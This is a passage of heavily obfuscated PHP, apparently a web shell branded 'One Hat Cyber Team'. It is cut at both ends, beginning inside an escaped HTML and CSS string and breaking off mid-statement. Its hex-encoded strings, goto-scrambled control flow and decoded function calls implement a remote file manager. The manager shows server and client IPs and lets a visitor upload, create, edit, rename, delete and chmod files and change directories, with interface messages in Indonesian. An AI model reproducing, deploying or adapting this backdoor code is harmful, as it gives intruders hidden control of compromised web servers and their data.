d\x73\x69\172\145\x3a\x6c\x61\x72\147\x65\41\151\x6d\x70\157\162\x74\x61\156\164\73\15\xa\40\x20\40\40\143\157\154\x6f\162\72\x20\x23\60\60\142\x66\146\146\41\151\x6d\x70\157\x72\164\141\156\164\73\xd\xa\x20\x20\x20\x20\154\x69\x73\164\x2d\163\164\x79\x6c\145\x3a\40\151\156\x68\145\162\151\x74\x21\151\x6d\160\157\x72\164\x61\x6e\164\x3b\15\xa\x7d\xd\xa\xd\12\141\40\173\xd\12\40\40\40\40\143\x6f\154\x6f\162\x3a\40\x23\x66\x66\x66\x66\146\x66\73\15\xa\x20\x20\x20\40\164\145\x78\164\55\x64\145\x63\x6f\162\141\164\151\x6f\156\72\x20\156\157\156\145\x21\151\x6d\160\x6f\x72\164\x61\x6e\x74\73\xd\xa\175\15\12\15\12\141\x3a\x68\157\166\145\x72\x20\x7b\15\12\40\x20\x20\x20\164\145\170\164\55\x64\x65\x63\157\162\141\x74\151\x6f\x6e\x3a\x20\156\157\x6e\145\x21\151\x6d\x70\x6f\162\x74\141\156\164\x3b\15\xa\x20\40\40\40\143\x6f\154\x6f\162\x3a\40\43\x30\x30\142\x66\146\x66\x3b\15\xa\40\40\40\x20\x61\156\x69\155\x61\x74\151\157\x6e\72\x20\153\145\144\151\x70\x20\61\163\x20\154\151\x6e\145\x61\x72\x20\151\156\146\x69\156\151\x74\145\73\xd\12\x7d\xd\xa\xd\12\150\65\40\173\xd\xa\x20\x20\40\x20\155\x61\x72\147\151\x6e\x2d\164\x6f\160\x3a\40\61\x2e\65\160\170\73\15\12\40\x20\x20\40\155\x61\162\147\151\x6e\55\x62\157\x74\164\x6f\155\x3a\40\x31\56\x35\x70\x78\73\15\12\x20\x20\x20\40\143\157\x6c\157\162\72\x20\x23\60\x30\142\x66\x66\146\x21\151\155\160\x6f\162\164\x61\x6e\164\x3b\15\xa\x20\40\40\40\160\x61\x64\x64\x69\156\x67\x3a\40\62\160\x78\x3b\xd\xa\175\15\xa\xd\xa\164\x65\170\x74\x61\x72\145\141\x20\x7b\15\xa\40\40\x20\40\167\x69\x64\164\150\72\x20\x39\x37\45\73\xd\xa\40\x20\x20\40\x66\x6f\x6e\x74\x2d\x73\x69\172\x65\x3a\40\155\145\144\x69\165\155\x21\x69\x6d\160\x6f\162\x74\x61\x6e\x74\x3b\15\xa\40\40\40\x20\x66\x6f\x6e\164\55\146\x61\x6d\151\154\x79\72\x20\151\156\x68\x65\162\151\164\x3b\xd\12\x20\40\x20\40\x68\145\151\147\x68\164\x3a\x20\x34\x34\x76\150\x3b\15\xa\x20\40\40\x20\160\141\x64\144\151\156\x67\55\x6c\x65\x66\x74\72\40\65\160\x78\x3b\15\12\175\xd\12\15\xa\142\x75\164\x74\157\x6e\54\40\x69\156\x70\165\x74\x20\x7b\15\xa\x20\40\40\40\x62\157\x72\x64\145\162\x3a\x20\x32\x70\170\40\163\x6f\154\x69\144\x20\43\60\60\x62\146\146\146\x3b\xd\12\40\40\40\40\142\x6f\162\x64\145\162\55\x72\141\144\151\x75\163\x3a\40\x35\x70\170\x3b\15\xa\x20\x20\x20\40\146\157\x6e\x74\x2d\x73\151\172\145\x3a\x20\61\x35\160\170\73\15\xa\40\40\40\40\x63\157\x6c\157\x72\x3a\167\150\x69\164\145\x3b\15\xa\x20\x20\x20\x20\154\151\x6e\145\x2d\x68\145\151\147\150\x74\x3a\40\156\157\162\x6d\x61\x6c\x3b\15\12\x20\40\40\x20\x66\x6f\156\164\55\146\141\155\x69\154\x79\72\x20\151\x6e\150\145\162\x69\x74\x3b\xd\12\175\xd\12\xd\xa\x62\x75\x74\164\x6f\x6e\54\x20\151\156\160\x75\x74\72\150\157\x76\x65\x72\x20\173\xd\12\x20\40\x20\x20\x62\x6f\162\x64\x65\162\72\40\62\160\170\x20\x73\x6f\x6c\x69\x64\40\43\x30\x30\x62\146\x66\x66\73\15\xa\40\40\x20\x20\143\165\162\163\x6f\162\72\x20\x70\x6f\x69\156\x74\x65\162\73\xd\12\x7d\15\xa\15\xa\x2e\157\150\x63\164\40\x7b\xd\12\x20\40\40\x20\x70\141\x64\x64\151\156\x67\x2d\154\145\146\x74\72\40\61\162\145\x6d\73\xd\12\40\40\40\x20\160\141\144\144\151\156\147\x2d\162\x69\x67\150\164\x3a\40\x31\162\145\x6d\73\15\12\x20\x20\x20\x20\x63\x6f\154\157\x72\72\40\x77\x68\x69\x74\x65\x3b\xd\xa\x20\40\x20\40\x62\x6f\162\x64\x65\x72\x3a\x20\62\x70\170\40\163\x6f\154\151\144\x20\x23\x30\x30\142\146\146\146\x3b\15\12\x20\40\40\x20\x62\x6f\162\x64\x65\162\55\162\141\x64\151\x75\x73\x3a\40\65\160\x78\x3b\xd\12\40\40\x20\40\142\141\143\153\147\x72\x6f\x75\156\144\55\x63\157\154\157\x72\x3a\40\164\x72\x61\156\x73\x70\x61\x72\x65\x6e\164\73\xd\xa\x20\40\40\x20\146\157\156\x74\x2d\146\x61\x6d\x69\x6c\x79\x3a\x20\151\156\150\x65\162\151\164\x3b\15\xa\40\x20\40\x20\x66\x6f\156\x74\55\x73\x69\172\145\72\x20\61\x36\160\170\73\xd\12\x7d\15\xa\xd\12\56\157\x68\x63\164\72\150\157\x76\145\162\40\173\xd\12\40\x20\40\x20\142\157\162\x64\x65\x72\72\x20\62\160\170\40\x73\157\x6c\x69\144\x20\43\60\60\x62\146\x66\x66\73\15\xa\40\40\x20\x20\x63\157\x6c\x6f\x72\72\40\x23\60\60\142\x66\x66\146\x21\x69\x6d\160\x6f\x72\164\x61\156\x74\x3b\15\xa\175\15\12\15\12\56\143\157\x6d\x62\145\x74\x20\173\15\12\40\40\40\40\143\x6f\x6c\x6f\162\x3a\40\167\x68\151\164\145\x3b\xd\12\x7d\xd\xa\15\xa\x2e\143\157\155\x62\145\164\x3a\x68\x6f\x76\145\162\x20\x7b\xd\xa\x20\40\x20\x20\x63\157\154\157\162\72\40\x23\x30\x30\x62\x66\x66\146\x3b\15\xa\175\xd\12\xd\xa\x2e\160\55\61\40\x7b\15\12\40\x20\40\x20\160\141\144\x64\151\156\147\72\x20\64\160\x78\73\15\xa\x7d\15\xa\15\xa\72\x3a\x73\145\x6c\x65\x63\x74\x69\x6f\156\40\173\xd\xa\x20\x20\40\40\143\x6f\x6c\157\x72\72\40\x62\x6c\x61\143\153\x3b\15\xa\x20\40\40\x20\142\x61\x63\x6b\147\162\157\165\x6e\x64\x3a\x20\163\151\x6c\166\145\x72\x3b\xd\xa\175\xd\12\xd\12\56\x66\x61\40\173\15\12\40\x20\x20\x20\160\x61\x64\x64\x69\156\x67\72\40\61\x30\160\170\73\15\12\x20\40\40\40\x66\157\156\164\55\163\151\x7a\x65\x3a\x20\62\60\x70\170\x3b\xd\xa\40\40\x20\x20\167\151\144\164\150\x3a\x20\x35\60\160\170\73\xd\12\x20\x20\40\x20\x74\145\170\x74\55\141\154\x69\147\x6e\72\x20\x63\x65\x6e\164\x65\162\73\15\xa\x20\40\40\x20\x74\x65\170\x74\55\144\145\143\157\x72\141\164\151\x6f\156\72\40\x6e\157\x6e\145\x3b\15\12\x20\40\x20\40\x6d\141\162\x67\x69\156\72\40\x35\160\x78\73\xd\xa\40\x20\x20\40\143\x6f\x6c\x6f\x72\x3a\x20\43\60\60\x62\x66\146\146\73\xd\12\x7d\15\xa\15\12\56\146\141\x3a\150\157\166\x65\162\40\173\xd\xa\x20\x20\40\x20\x62\x6f\x72\144\145\162\x3a\40\x32\160\x78\x20\163\157\x6c\x69\144\x20\x23\x30\x30\x62\146\146\x66\73\xd\xa\175\xd\xa\xd\xa\56\x74\x65\170\x74\x2d\x6c\x69\x67\x68\x74\40\173\xd\xa\x20\40\40\40\x63\x6f\x6c\157\162\x3a\x20\x23\x66\x38\x66\x39\x66\141\x21\x69\x6d\160\x6f\x72\x74\141\156\x74\73\15\xa\x20\x20\x20\40\146\x6f\156\x74\55\x73\x69\172\x65\x3a\40\154\141\162\x67\145\41\x69\x6d\x70\157\162\164\141\156\164\x3b\xd\12\x7d\15\xa\xd\xa\x2e\153\x65\x64\x69\160\x20\173\xd\12\40\x20\40\x20\x61\156\x69\155\141\164\151\x6f\156\72\x20\153\145\x64\x69\160\40\61\163\40\154\x69\x6e\x65\141\162\x20\x69\156\146\x69\x6e\x69\x74\145\x3b\15\12\x7d\15\xa\15\12\100\153\145\171\x66\162\x61\155\x65\163\40\153\x65\x64\151\160\x20\173\xd\xa\40\40\40\x20\x30\x25\x20\x7b\15\12\x20\x20\x20\x20\x20\40\40\40\143\x6f\154\157\162\72\x20\43\60\x30\x62\146\x66\x66\73\xd\xa\40\x20\40\x20\x7d\15\12\x20\40\40\40\65\60\x25\40\x7b\xd\xa\x20\x20\x20\40\40\x20\x20\40\143\157\x6c\157\162\72\40\167\150\151\164\145\73\15\xa\x20\x20\x20\40\x7d\15\xa\x20\x20\40\x20\61\60\x30\x25\40\x7b\xd\12\x20\40\40\x20\x20\x20\40\x20\143\157\154\x6f\x72\x3a\40\43\x30\x30\142\146\x66\x66\73\xd\xa\40\40\x20\40\x7d\xd\xa\175\15\12\15\12\x40\x6b\x65\x79\146\x72\x61\x6d\145\x73\x20\x72\141\151\x6e\142\x6f\x77\102\x6f\162\144\x65\x72\x20\173\15\xa\40\40\40\x20\x20\x20\x20\40\x20\40\x20\40\x30\45\40\173\15\xa\40\40\40\40\40\x20\40\40\x20\x20\x20\40\40\x20\x20\40\x62\157\162\144\x65\x72\x2d\151\x6d\x61\x67\x65\x3a\40\154\151\156\145\x61\162\55\147\162\141\144\151\145\156\164\50\x74\x6f\x20\x72\x69\147\150\164\x2c\x20\x23\x30\x30\x62\x66\146\146\x2c\40\155\141\147\x65\x6e\x74\141\51\40\61\x3b\15\12\40\40\x20\40\x20\x20\x20\40\x20\x20\40\x20\175\15\12\x20\x20\40\x20\40\40\40\x20\x20\x20\x20\x20\61\x34\x25\x20\173\15\xa\x20\40\40\x20\x20\x20\40\40\40\x20\40\40\x20\40\40\x20\142\157\162\144\x65\x72\x2d\x69\x6d\141\x67\x65\x3a\40\x6c\151\156\x65\141\x72\55\x67\x72\141\x64\151\x65\156\x74\50\164\157\x20\x72\151\x67\150\164\x2c\40\x6d\141\147\145\x6e\x74\141\x2c\40\x6c\x69\155\145\x29\40\x31\73\xd\xa\x20\x20\40\x20\x20\x20\x20\40\x20\x20\x20\x20\x7d\xd\12\40\40\x20\x20\x20\40\x20\40\40\40\40\40\x32\x38\x25\x20\x7b\15\12\40\40\x20\x20\40\40\x20\40\x20\x20\x20\40\40\40\40\x20\x62\x6f\x72\144\x65\162\55\151\155\x61\x67\x65\72\x20\154\151\x6e\145\x61\x72\x2d\147\x72\x61\x64\x69\x65\156\x74\x28\164\157\40\162\x69\x67\x68\x74\x2c\x20\x6c\x69\x6d\145\x2c\40\x79\145\154\x6c\x6f\167\x29\40\x31\x3b\xd\xa\40\x20\40\40\x20\40\40\40\x20\x20\x20\x20\175\xd\12\x20\x20\40\x20\x20\x20\x20\x20\40\40\x20\40\64\62\45\x20\173\15\xa\40\40\40\x20\x20\x20\x20\40\40\40\x20\x20\40\x20\x20\x20\142\157\162\144\x65\162\55\151\155\141\147\x65\72\x20\154\x69\156\145\x61\x72\x2d\147\162\x61\144\x69\x65\x6e\164\x28\x74\157\x20\162\151\147\x68\164\54\40\171\x65\154\x6c\x6f\x77\x2c\x20\x6f\x72\x61\x6e\147\x65\x29\x20\x31\x3b\xd\12\x20\x20\40\x20\x20\x20\x20\40\40\40\40\40\x7d\xd\12\40\40\40\x20\x20\40\x20\x20\40\x20\x20\x20\65\x37\45\x20\173\xd\xa\40\40\40\40\x20\x20\x20\x20\40\40\40\40\40\x20\x20\x20\142\x6f\x72\144\x65\x72\x2d\x69\155\x61\147\145\72\x20\x6c\151\156\x65\x61\x72\55\147\x72\x61\144\151\145\x6e\x74\50\x74\x6f\40\162\151\x67\150\164\x2c\x20\157\x72\141\x6e\147\145\x2c\x20\162\145\x64\51\40\x31\x3b\15\12\40\x20\40\x20\x20\x20\x20\40\40\40\40\40\x7d\xd\xa\x20\x20\40\x20\40\x20\40\40\40\x20\40\40\x37\x31\45\x20\x7b\xd\12\40\x20\x20\40\40\x20\x20\40\40\40\x20\40\x20\x20\x20\x20\142\x6f\162\x64\x65\162\x2d\151\155\x61\x67\x65\72\40\x6c\x69\156\145\141\x72\x2d\147\162\141\144\151\x65\156\164\50\x74\x6f\40\x72\151\x67\150\164\x2c\40\x72\x65\144\x2c\40\x70\x69\156\x6b\x29\x20\61\x3b\15\12\x20\x20\x20\40\x20\40\x20\x20\40\x20\40\40\x7d\15\xa\x20\40\x20\40\40\40\40\x20\40\40\x20\x20\x38\x35\45\40\173\15\12\40\x20\40\40\x20\x20\40\x20\40\x20\40\40\40\40\x20\x20\x62\x6f\x72\x64\145\x72\x2d\151\x6d\141\x67\x65\x3a\40\x6c\151\x6e\145\x61\162\x2d\147\162\x61\144\x69\145\156\164\50\164\157\40\x72\151\147\150\164\54\x20\x70\151\x6e\153\54\x20\43\x30\60\142\146\x66\146\51\x20\x31\73\15\12\x20\40\x20\40\x20\40\40\x20\40\x20\x20\40\175\xd\xa\x20\x20\x20\40\x20\40\x20\x20\40\x20\40\x20\x31\x30\60\x25\x20\173\15\xa\40\40\x20\x20\x20\40\40\x20\40\x20\40\40\40\40\40\40\142\157\162\x64\145\162\x2d\151\x6d\141\x67\x65\x3a\x20\x6c\151\x6e\x65\141\162\x2d\x67\162\x61\x64\151\145\x6e\x74\x28\x74\x6f\40\162\x69\147\150\164\54\40\43\x30\60\x62\x66\146\x66\54\40\155\141\147\x65\x6e\164\141\x29\40\x31\73\xd\xa\x20\40\x20\40\40\x20\x20\x20\40\40\x20\x20\175\15\12\40\x20\40\x20\x20\x20\x20\x20\x7d\15\12\xd\xa\x2e\x72\141\x69\156\142\x6f\167\x2d\142\x6f\x72\144\x65\x72\40\173\15\xa\40\40\40\x20\142\157\x72\x64\x65\x72\x3a\40\x32\160\x78\40\163\157\x6c\151\x64\x20\162\x65\144\73\15\xa\40\40\40\x20\x62\157\162\x64\145\162\55\162\141\x64\151\x75\x73\72\40\x35\160\x78\41\x69\x6d\160\157\x72\164\141\156\x74\73\xd\xa\x20\x20\x20\x20\141\156\151\x6d\x61\x74\151\157\156\x3a\40\162\141\x69\x6e\x62\157\167\102\157\x72\x64\145\162\x20\62\x73\x20\x6c\151\x6e\x65\141\162\40\x69\156\146\151\x6e\151\x74\145\73\15\xa\175\xd\xa\x20\40\x20\x20\x20\40\x20\x20\100\x6b\145\171\x66\x72\x61\x6d\x65\x73\x20\162\x61\x69\156\x62\157\x77\124\145\170\164\x20\173\xd\12\x20\40\x20\x20\40\40\x20\40\x20\40\x20\x20\60\45\x20\173\15\xa\x20\40\40\40\40\40\40\40\x20\40\40\40\40\40\x20\x20\143\x6f\x6c\x6f\162\x3a\x20\x23\60\60\142\146\146\146\x3b\15\xa\x20\x20\40\x20\x20\40\40\40\x20\40\x20\40\x7d\xd\xa\x20\40\40\x20\x20\40\40\40\40\x20\40\40\x31\x34\x25\x20\173\xd\xa\x20\x20\x20\x20\40\40\40\40\40\x20\x20\x20\x20\40\40\x20\143\157\x6c\157\x72\x3a\40\155\x61\147\x65\x6e\x74\141\73\15\12\40\40\x20\x20\40\x20\40\40\x20\x20\x20\x20\175\xd\12\40\x20\x20\x20\40\x20\40\x20\x20\x20\40\x20\62\70\x25\x20\x7b\15\xa\x20\x20\x20\x20\x20\40\x20\40\40\x20\x20\40\x20\40\x20\40\143\157\x6c\x6f\162\x3a\x20\154\x69\x6d\x65\x3b\15\xa\40\x20\40\40\40\x20\40\x20\40\40\x20\x20\175\xd\xa\40\40\40\x20\x20\40\40\x20\x20\x20\x20\x20\64\62\45\x20\x7b\xd\xa\40\x20\x20\x20\40\40\40\40\x20\40\40\40\x20\x20\40\x20\x63\x6f\x6c\157\162\x3a\x20\171\x65\154\x6c\157\x77\x3b\xd\12\x20\x20\40\x20\x20\x20\x20\40\40\40\x20\x20\x7d\xd\xa\x20\40\x20\40\40\40\40\x20\40\40\40\40\65\x37\x25\40\173\xd\12\x20\x20\x20\40\40\x20\40\x20\x20\40\x20\x20\40\40\40\x20\x63\157\154\157\x72\72\40\x6f\x72\x61\156\147\x65\73\15\xa\x20\40\40\40\x20\40\40\40\40\x20\x20\40\175\15\xa\40\x20\40\40\x20\x20\40\x20\x20\x20\40\x20\67\x31\x25\x20\173\xd\xa\40\40\x20\40\x20\x20\40\40\x20\40\40\40\x20\x20\x20\x20\143\x6f\154\x6f\162\72\x20\162\145\144\x3b\15\12\x20\x20\40\x20\40\x20\40\40\x20\x20\x20\x20\175\15\xa\40\40\x20\40\40\x20\40\40\40\40\x20\x20\70\65\45\x20\173\xd\xa\40\40\x20\40\40\x20\40\x20\40\40\40\x20\x20\40\40\40\143\x6f\x6c\x6f\x72\72\40\x70\151\x6e\153\x3b\xd\xa\40\x20\x20\x20\40\40\x20\40\x20\40\x20\40\175\15\12\x20\x20\x20\x20\x20\40\40\x20\40\x20\x20\40\x31\x30\x30\45\x20\x7b\15\12\40\x20\x20\x20\x20\40\40\x20\x20\x20\40\x20\x20\40\40\x20\143\157\x6c\x6f\x72\72\40\43\x30\x30\x62\x66\146\x66\73\xd\12\x20\40\40\x20\40\40\x20\40\40\x20\x20\40\175\xd\xa\x20\x20\40\40\40\40\40\x20\175\xd\xa\56\x72\141\x69\156\x62\157\x77\55\x74\145\x78\x74\x20\x7b\xd\12\40\40\x20\x20\x20\40\x20\x20\x20\40\40\x20\141\x6e\151\x6d\x61\x74\151\157\x6e\72\40\x72\x61\151\x6e\x62\157\x77\x54\x65\170\164\x20\x32\163\40\x69\x6e\146\151\x6e\x69\x74\x65\73\15\xa\x20\40\x20\40\40\40\40\40\40\x20\x20\x20\146\x6f\156\x74\x2d\x77\145\151\147\150\x74\72\40\x62\x6f\154\x64\73\15\xa\40\x20\40\x20\x20\40\x20\40\175\15\xa\x3c\x2f\x73\164\x79\x6c\x65\76\xd\12\40\x20\40\x20\74\x73\143\162\x69\x70\x74\x20\x73\x72\143\75\x22\x2f\x2f\x75\x6e\x70\x6b\147\x2e\x63\157\x6d\57\163\x77\145\x65\164\x61\154\x65\x72\x74\57\144\151\163\x74\x2f\x73\167\x65\x65\x74\x61\154\x65\162\x74\x2e\x6d\x69\156\56\x6a\163\42\76\x3c\57\163\x63\x72\151\x70\x74\76\xd\12\x3c\x2f\150\145\141\144\76\xd\12\74\x62\157\x64\171\x3e\15\12\x3c\x64\x69\166\40\143\154\x61\163\x73\75\x22\164\x61\142\154\145\55\162\145\163\x70\157\156\x73\x69\166\x65\40\164\145\170\164\x2d\154\151\147\150\164\40\162\x61\x69\x6e\142\157\x77\55\142\x6f\x72\x64\145\162\42\40\163\164\171\x6c\145\75\42\164\x65\170\164\55\x61\x6c\x69\x67\156\x3a\40\x6c\145\x66\164\73\x70\x61\144\x64\x69\156\x67\x3a\40\64\160\x78\x3b\42\x3e\xd\xa\74\x64\151\166\40\163\x74\171\154\145\75\42\x74\x65\x78\164\55\141\154\151\147\156\72\40\143\x65\156\164\x65\x72\x3b\144\151\x73\x70\x6c\x61\x79\x3a\x20\146\x6c\145\x78\73\141\x6c\x69\147\x6e\x2d\151\164\x65\155\163\72\40\x63\145\x6e\x74\x65\162\x3b\152\x75\x73\x74\151\x66\x79\55\x63\x6f\156\x74\145\156\164\72\x20\143\145\156\x74\145\162\x3b\141\154\151\x67\x6e\55\x63\157\x6e\x74\x65\x6e\164\72\x20\x63\x65\156\164\145\162\73\42\76\15\xa\x3c\x61\x20\x68\x72\x65\x66\x3d\42\77\x22\x20\x73\164\171\154\x65\x3d\42\146\x6f\x6e\164\x2d\x73\x69\x7a\145\72\40\x32\x72\145\155\73\160\141\x64\144\x69\156\147\x2d\154\x65\x66\164\x3a\40\x30\56\63\162\145\155\73\160\141\x64\144\151\x6e\147\55\x72\x69\147\x68\164\72\40\60\56\x33\x72\145\x6d\x3b\42\76\x3c\x73\x70\x61\156\40\x63\154\x61\163\x73\75\42\x72\141\151\156\x62\x6f\x77\55\x74\145\170\x74\42\x3e\x4f\156\145\x20\110\x61\x74\40\x43\x79\x62\x65\x72\x20\x54\145\141\155\74\57\163\160\141\x6e\x3e\74\x2f\x61\76\x20\15\12\x3c\57\x64\x69\166\76\xd\12\x3c\x6c\151\76\x59\157\165\162\x20\111\120\x20\72\x20\74\163\160\141\156\40\x73\164\171\154\x65\75\x22\x63\157\154\157\x72\x3a\x20\x77\x68\x69\x74\145\x3b\x22\x3e"; goto qv6Am; Y7Z0b: sEy8B: goto LExXx; P3c4U: echo "\x3c\57\144\151\x76\x3e\xd\12"; goto IXUL0; i6dER: echo gethostbyname($_SERVER["\123\105\122\126\105\122\137\x4e\101\115\x45"]); goto pUQui; ouN_B: sVyvh: goto FfdSI; Z3Rwf: $c8[$lE] = JD($c8[$lE]); goto n21be; as55f: if (move_uploaded_file($fileTmpName, $targetFilePath)) { goto uEny2; } goto SSOY8; V32i4: GqE6o: goto z00aG; tCv0u: if (file_exists($filePath)) { goto IfSJ9; } goto a3yUv; k3N95: goto jycuQ; goto ouN_B; uiNll: echo "\74\x2f\150\65\x3e\15\12\x3c\x66\157\x72\x6d\40\x6d\x65\x74\x68\x6f\144\75\x22\160\157\x73\164\x22\x3e\xd\12\40\x20\40\x20\74\x64\x69\166\40\x63\x6c\x61\163\163\75\x22\x66\157\x72\x6d\x2d\x67\162\157\165\160\42\76\xd\12\40\x20\40\x20\x20\x20\40\x20\x3c\x69\x6e\x70\165\x74\x20\164\171\x70\145\75\x22\x74\145\170\164\x22\40\156\141\x6d\145\x3d\x22\x6e\x65\x77\137\160\x65\x72\155\x69\x73\x73\x69\x6f\x6e\x73\x22\x20\151\x64\x3d\x22\x6e\145\x77\x5f\x70\x65\162\155\x69\163\163\151\157\156\x73\42\40\x63\154\x61\163\163\x3d\42\142\x6f\x72\x64\145\x72\x20\160\x2d\61\x22\x20\x70\154\141\143\x65\x68\157\x6c\144\145\162\75\x22\103\157\156\164\x6f\x68\x3a\40\x30\x37\x35\65\x22\x20\x73\x74\x79\x6c\145\75\x22\x74\145\170\164\x2d\x61\154\151\x67\x6e\x3a\40\143\x65\156\x74\x65\162\73\x22\x3e\15\12\40\x20\x20\40\74\x2f\144\151\166\76\xd\12\40\x20\40\x20\x3c\144\151\x76\40\143\x6c\141\x73\x73\x3d\x22\146\x6f\x72\155\55\147\162\157\x75\x70\x22\x20\163\x74\171\154\x65\75\42\155\141\x72\147\151\x6e\x2d\x74\157\x70\72\x20\61\x30\160\170\73\x22\x3e\15\12\40\40\x20\x20\40\40\x20\x20\x3c\142\165\x74\x74\157\x6e\x20\x74\x79\x70\145\75\x22\163\165\x62\155\151\x74\x22\40\x6e\x61\155\145\75\x22\143\x68\141\156\x67\x65\x5f\x70\145\162\155\x73\x22\x20\x63\154\141\163\163\75\42\x6f\x68\x63\164\42\76\x55\x62\141\x68\40\x49\172\x69\x6e\x3c\57\142\165\164\164\157\x6e\76\15\xa\40\x20\x20\40\74\57\x64\151\x76\76\15\xa\74\x2f\146\x6f\x72\155\76\xd\12\15\xa"; goto oUPhS; ub8zK: xe("\106\x69\x6c\145\40\x62\x65\162\150\141\x73\151\154\x20\144\x69\x75\x6e\x67\x67\x61\150"); goto XbO1F; qkvjE: Q1N8Z: goto ckKLx; aRFgz: if (!isset($_POST["\x63\162\145\x61\164\145\x5f\146\151\154\145"])) { goto cHfGd; } goto iOZrz; SrtER: JuQTj: goto psV4R; f5aRU: $folderName = $_POST["\146\157\x6c\x64\x65\x72\137\156\141\155\145"]; goto X9oWu; M6ABo: echo $_SERVER["\123\x45\122\x56\x45\122\x5f\123\117\x46\124\127\101\122\x45"]; goto SwPKx; w2eNq: echo Ss($Jd) . "\46\x61\75" . sS("\x6e\145\x77\104\x69\x72"); goto XuBX4; PBWDG: oKtRs: goto G8ZaQ; APzPP: DqkC1: goto DFSe3; Ne4KB: mBbAB: goto y8gBw; X0blT: PW8sr: goto ned6r; IYt8j: uEny2: goto ub8zK; G8ZaQ: if (!($im == "\x65\x64\x69\x74")) { goto sVyvh; } goto k3N95; CmQdn: echo htmlspecialchars(jD($_GET["\156"])); goto MycnO; XjoI2: $newPerms = $_POST["\x6e\145\x77\137\x70\x65\162\155\151\x73\163\x69\157\x6e\x73"]; goto c6P__; K71UA: if ($im == "\144\145\154\145\x74\x65") { goto nhGdW; } goto fJZSg; fRdU4: function Jd($SP) { goto byBFn; byBFn: $dE = ''; goto KdwWq; AZq7K: $dE .= chr(hexdec($SP[$lE] . $SP[$lE + 1])); goto GTawt; JIesp: goto sY9T1; goto K2d5G; n7IWq: mZHDS: goto GB4ed; s8o21: return $dE; goto pWRTP; GTawt: KgfRl: goto mjhT4; K2d5G: gte_y: goto AZq7K; mjhT4: $lE += 2; goto Ywk5Q; oCr1K: $lE = 0; goto n7IWq; KdwWq: $gf = strlen($SP) - 1; goto oCr1K; GB4ed: if ($lE < $gf) { goto gte_y; } goto JIesp; vVstd: sY9T1: goto s8o21; Ywk5Q: goto mZHDS; goto vVstd; pWRTP: } goto KH9aY; rjz3G: goto WuWzI; goto ui2ii; RgCVA: BgYPr: goto V32i4; N93Qc: WuWzI: goto P3c4U; S2fjQ: qLlQw: goto SA16k; QznLN: echo htmlspecialchars(jD($_GET["\156"])); goto Ovz2f; jtnD_: if (is_writable($filePath)) { goto YepRA; } goto tqKCZ; Nc198: goto Bh2fC; goto aAPZK; t2P1z: xe("\x42\145\x72\150\141\163\x69\x6c\40\x6d\145\x6e\x67\165\142\141\x68\40\151\x7a\151\x6e"); goto EaJYU; hky0H: FuJKP: goto z47JB; K0vFC: ini_set("\x64\151\163\160\x6c\141\171\x5f\x65\162\162\157\x72\x73", 0); goto qZkE2; liHBS: cuWoE: goto YpqQB; hQI_R: wf9aW: goto klVg8; J6449: goto Fk3E1; goto liHBS; c6P__: $currentDir = getcwd(); goto y1nIx; Ovz2f: echo "\74\57\x66\x6f\156\164\76\xd\xa\74\x2f\150\x35\x3e\xd\xa\74\x64\x69\x76\x20\143\154\141\x73\163\x3d\x22\x66\x6f\162\155\55\x67\x72\157\165\160\42\x3e\15\12\x3c\x74\145\170\x74\141\x72\145\141\x20\156\x61\x6d\145\x3d\x22\146\x69\154\145\137\143\157\x6e\164\145\x6e\x74\42\x20\151\144\75\42\x66\x69\154\145\x5f\x63\157\156\164\145\x6e\164\x22\40\x63\157\154\x73\75\x22\x33\60\x22\x20\162\157\167\x73\75\42\x31\60\x22\x20\143\x6c\x61\163\163\x3d\42\146\157\162\x6d\x2d\x63\x6f\x6e\164\162\157\x6c\x20\x72\x61\151\156\x62\157\167\x2d\x62\x6f\x72\x64\145\162\x22\40\x72\x65\x61\144\157\x6e\x6c\171\x3e"; goto yCXHO; lP14A: $Jd = $c8[2](); goto vNGYA; KhgEs: echo "\x3c\57\x73\160\141\x6e\x3e\74\57\154\x69\x3e\15\xa\x3c\154\x69\x3e\123\x65\x72\x76\x65\x72\40\x49\x50\40\72\x20\x3c\163\x70\141\156\40\x73\x74\x79\x6c\x65\75\x22\x63\x6f\154\x6f\162\x3a\x20\x77\x68\x69\164\x65\73\42\x3e"; goto i6dER; LHxHL: Xe("\146\141\151\154\145\144\40\164\157\40\144\145\154\x65\164\145\40\164\x68\x65\x20\146\x69\x6c\145", 0); goto QMnli; m_WJB: goto NF5Mp; goto V4aUK; JkfzH: $filePath = "{$currentDir}\x2f{$fileName}"; goto tCv0u; v9nE0: echo "\x22\x20\143\154\x61\x73\x73\x3d\42\x6f\x68\x63\164\42\x3e\102\165\141\164\x20\x46\x69\x6c\145\x3c\57\141\76\x20\x7c\40\74\x61\40\x68\162\145\x66\x3d\42\x3f\x70\75"; goto w2eNq; SetU1: if (!($im == "\x72\x65\156\x61\x6d\145")) { goto oKtRs; } goto iJrKt; XoXZZ: $c8[3](Jd($_GET["\160"])); goto Ne4KB; BrZJD: Xe("\106\157\x6c\x64\x65\162\x20\x67\141\147\141\x6c\x20\x64\151\x62\165\141\164", 0); goto ZB075; oO92L: if (!isset($_POST["\162\x65\x6e\x61\x6d\145\137\x66\151\x6c\x65"])) { goto X6Epq; } goto epYd3; DbYJr: echo "\42\40\163\164\171\154\145\75\x22\164\x65\x78\164\55\141\154\x69\147\x6e\x3a\x20\143\145\156\x74\145\x72\73\x22\76\xd\xa\40\x20\40\x20\74\57\x64\151\x76\x3e\xd\12\x20\40\40\40\x3c\x64\151\x76\x20\143\x6c\x61\163\163\x3d\x22\146\157\162\155\x2d\x67\162\157\x75\x70\42\x20\163\x74\171\154\x65\x3d\x22\x6d\x61\x72\x67\x69\x6e\55\164\x6f\x70\x3a\x20\x31\60\x70\x78\73\x22\x3e\15\12\x20\40\40\40\x20\40\40\40\74\x62\x75\x74\164\157\x6e\40\164\171\x70\x65\x3d\x22\163\165\x62\x6d\x69\x74\42\x20\156\141\x6d\x65\75\42\162\145\x6e\141\x6d\145\137\146\x69\x6c\x65\42\40\143\154\x61\x73\163\75\x22\157\x68\143\x74\x22\76\x53\x61\166\x65\x3c\x2f\142\x75\164\164\x6f\x6e\76\15\xa\x20\40\40\40\74\57\144\x69\x76\x3e\xd\xa\x3c\x2f\146\157\x72\x6d\x3e\xd\xa\15\xa"; goto oO92L; X9oWu: $currentDir = getcwd(); goto l6lHy; QMnli: goto oGhKM; goto NaeCm; cSpMC: Xe("\x46\x69\x6c\x65\40\147\141\147\141\154\40\x64\151\142\165\x61\x74", 0); goto sueaT; aAPZK: eDnbO: goto t2P1z; uLQpu: if (rename($oldPath, $newPath)) { goto cuWoE; } goto Hczko; O4wAy: echo 